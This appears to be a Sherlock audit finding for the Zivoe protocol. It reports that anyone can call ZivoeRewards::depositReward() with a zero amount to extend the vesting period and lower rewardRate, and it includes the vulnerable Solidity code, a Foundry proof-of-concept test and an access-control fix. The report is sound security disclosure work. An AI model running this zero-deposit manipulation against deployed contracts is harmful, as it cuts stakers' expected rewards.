Quiet Daffodil Tardigrade

high

# `rewardRate` in `ZivoeRewards` can be manipulated

## Summary
`rewardRate` in `ZivoeRewards` can be manipulated as anyone can call `ZivoeRewards::depositReward()` with 0(Zero) amount

## Vulnerability Detail
Rewards in `ZivoeRewards`(stSTT/stJTT/stZVE) contract is deposited through `ZivoeRewards::depositReward()`. In `depositReward()`,  `rewardRate` for that rewardToken is calculated as well as updated based on `periodFinish` (When current rewards will finish vesting) & this `periodFinish` is also `updated` to block.timestamp + `rewardsDuration`
```solidity
   function depositReward(address _rewardsToken, uint256 reward) external updateReward(address(0)) nonReentrant {
        IERC20(_rewardsToken).safeTransferFrom(_msgSender(), address(this), reward);

        // Update vesting accounting for reward (if existing rewards being distributed, increase proportionally).
        if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
            rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
        } else {
       @>  uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
            uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
       @>  rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
        }

        rewardData[_rewardsToken].lastUpdateTime = block.timestamp;
       @> rewardData[_rewardsToken].periodFinish = block.timestamp.add(rewardData[_rewardsToken].rewardsDuration);
        emit RewardDeposited(_rewardsToken, reward, _msgSender());
    }
```
Now, the problem is `depositReward()` can be called by `anyone` with 0(zero) amount, which will increase the `periodFinish` and due to which `rewardRate` will decrease as rewardRate is calculated and set based on `periodFinish`. Because of `low` rewardRate, stakers will be able to `withdraw` less reward than expected.

//Here is coded POC
```solidity
 function test_ZivoeRewards_rewardRateCanBeManipulated() public {
      //Suppose bob is YDL(for simplicity) & its depositing rewards
        uint realDeposit = 10000 ether;
        mint("DAI", address(bob), realDeposit);
        assert(bob.try_approveToken(DAI, address(stZVE), realDeposit));
        assert(bob.try_depositReward(address(stZVE), DAI, realDeposit));

        (   ,
            uint256 oldPeriodFinish,
            uint256 oldRewardRate,
            ,
        ) = stZVE.rewardData(DAI);

       //Increasing timestamp by 1 days to show the effect, you can increase
       //to any timestamp till vesting 
        vm.warp(block.timestamp + 1 days);

        // suppose sam is malicious actor, calling depositReward with
        //0 amount to increase periodFinish
        uint256 deposit = 0;
        mint("DAI", address(sam), deposit);
        assert(bob.try_approveToken(DAI, address(stZVE), deposit));
        assert(bob.try_depositReward(address(stZVE), DAI, deposit));

         // Post-state.
        (   ,
            uint256 newPeriodFinish,
            uint256 newRewardRate,
            ,
        ) = stZVE.rewardData(DAI);
        assertLt(newRewardRate, oldRewardRate);
    }
```
 
## Impact
Stakers will be able to withdraw less than expected as rewardRate is decreased

## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewards.sol#L228C3-L243C6

## Tool used
Manual Review

## Recommendation
Ensure proper `access control` as only YDL or whitelisted Lockers can call depositReward